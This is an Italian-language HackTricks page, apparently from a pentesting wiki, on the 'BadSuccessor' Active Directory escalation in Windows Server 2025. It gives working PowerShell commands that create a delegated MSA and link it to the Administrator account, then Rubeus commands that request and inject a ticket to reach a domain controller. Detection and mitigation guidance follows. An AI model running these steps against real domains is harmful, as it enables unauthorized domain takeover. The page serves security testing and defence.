BadSuccessor: Privilege Escalation via Delegated MSA Migration Abuse
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Panoramica
Gli Account di Servizio Gestiti Delegati (dMSA) sono il successore di nuova generazione degli gMSA che verranno inclusi in Windows Server 2025. Un flusso di lavoro di migrazione legittimo consente agli amministratori di sostituire un account vecchio (utente, computer o account di servizio) con un dMSA preservando in modo trasparente i permessi. Il flusso di lavoro è esposto tramite cmdlet PowerShell come Start-ADServiceAccountMigration e Complete-ADServiceAccountMigration e si basa su due attributi LDAP dellâoggetto dMSA:
msDS-ManagedAccountPrecededByLinkâ DN link allâaccount superseded (vecchio).msDS-DelegatedMSAStateâ stato di migrazione (0= nessuno,1= in corso,2= completato).
Se un attaccante può creare qualsiasi dMSA allâinterno di un OU e manipolare direttamente quei 2 attributi, LSASS e il KDC tratteranno il dMSA come un successore dellâaccount collegato. Quando lâattaccante si autentica successivamente come dMSA eredita tutti i privilegi dellâaccount collegato â fino a Domain Admin se lâaccount Administrator è collegato.
Questa tecnica è stata coniata BadSuccessor da Unit 42 nel 2025. Al momento della scrittura non è disponibile alcuna patch di sicurezza; solo il rafforzamento dei permessi dellâOU mitiga il problema.
Prerequisiti per lâattacco
- Un account che è autorizzato a creare oggetti allâinterno di unâUnitĂ Organizzativa (OU) e ha almeno uno dei seguenti:
Create ChildâmsDS-DelegatedManagedServiceAccountclasse di oggettiCreate ChildâAll Objects(creazione generica)
- ConnettivitĂ di rete a LDAP e Kerberos (scenario standard di dominio unito / attacco remoto).
Enumerazione delle OU vulnerabili
Unit 42 ha rilasciato uno script di supporto PowerShell che analizza i descrittori di sicurezza di ciascuna OU e evidenzia le ACE richieste:
Get-BadSuccessorOUPermissions.ps1 -Domain contoso.local
Sotto il cofano, lo script esegue una ricerca LDAP paginata per (objectClass=organizationalUnit) e controlla ogni nTSecurityDescriptor per
ADS_RIGHT_DS_CREATE_CHILD(0x0001)Active Directory Schema ID: 31ed51fa-77b1-4175-884a-5c6f3f6f34e8(classe oggetto msDS-DelegatedManagedServiceAccount)
Passi di Sfruttamento
Una volta identificato un OU scrivibile, lâattacco è a solo 3 scritture LDAP di distanza:
# 1. Create a new delegated MSA inside the delegated OU
New-ADServiceAccount -Name attacker_dMSA \
-DNSHostName host.contoso.local \
-Path "OU=DelegatedOU,DC=contoso,DC=com"
# 2. Point the dMSA to the target account (e.g. Domain Admin)
Set-ADServiceAccount attacker_dMSA -Add \
@{msDS-ManagedAccountPrecededByLink="CN=Administrator,CN=Users,DC=contoso,DC=com"}
# 3. Mark the migration as *completed*
Set-ADServiceAccount attacker_dMSA -Replace @{msDS-DelegatedMSAState=2}
Dopo la replicazione, lâattaccante può semplicemente logon come attacker_dMSA$ o richiedere un TGT Kerberos â Windows costruirĂ il token dellâaccount superseded.
Automazione
Diversi PoC pubblici avvolgono lâintero flusso di lavoro, inclusi il recupero della password e la gestione dei ticket:
- SharpSuccessor (C#) â https://github.com/logangoins/SharpSuccessor
- BadSuccessor.ps1 (PowerShell) â https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1
- Modulo NetExec â
badsuccessor(Python) â https://github.com/Pennyw0rth/NetExec
Post-Exploitation
# Request a TGT for the dMSA and inject it (Rubeus)
Rubeus asktgt /user:attacker_dMSA$ /password:<ClearTextPwd> /domain:contoso.local
Rubeus ptt /ticket:<Base64TGT>
# Access Domain Admin resources
dir \\DC01\C$
Rilevamento e Caccia
Abilita Audit degli Oggetti su OUs e monitora i seguenti Eventi di Sicurezza di Windows:
- 5137 â Creazione dellâoggetto dMSA
- 5136 â Modifica di
msDS-ManagedAccountPrecededByLink - 4662 â Modifiche specifiche agli attributi
- GUID
2f5c138a-bd38-4016-88b4-0ec87cbb4919âmsDS-DelegatedMSAState - GUID
a0945b2b-57a2-43bd-b327-4d112a4e8bd1âmsDS-ManagedAccountPrecededByLink - 2946 â Emissione TGT per il dMSA
Correlare 4662 (modifica dellâattributo), 4741 (creazione di un account computer/servizio) e 4624 (accesso successivo) evidenzia rapidamente lâattivitĂ di BadSuccessor. Le soluzioni XDR come XSIAM forniscono query pronte allâuso (vedi riferimenti).
Mitigazione
- Applica il principio del minimo privilegio â delega solo la gestione degli Account di Servizio a ruoli fidati.
- Rimuovi
Create Child/msDS-DelegatedManagedServiceAccountda OUs che non lo richiedono esplicitamente. - Monitora gli ID evento elencati sopra e invia avvisi su identitĂ non-Tier-0 che creano o modificano dMSA.
Vedi anche
Riferimenti
- Unit42 â When Good Accounts Go Bad: Exploiting Delegated Managed Service Accounts
- SharpSuccessor PoC
- BadSuccessor.ps1 â Pentest-Tools-Collection
- NetExec BadSuccessor module
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

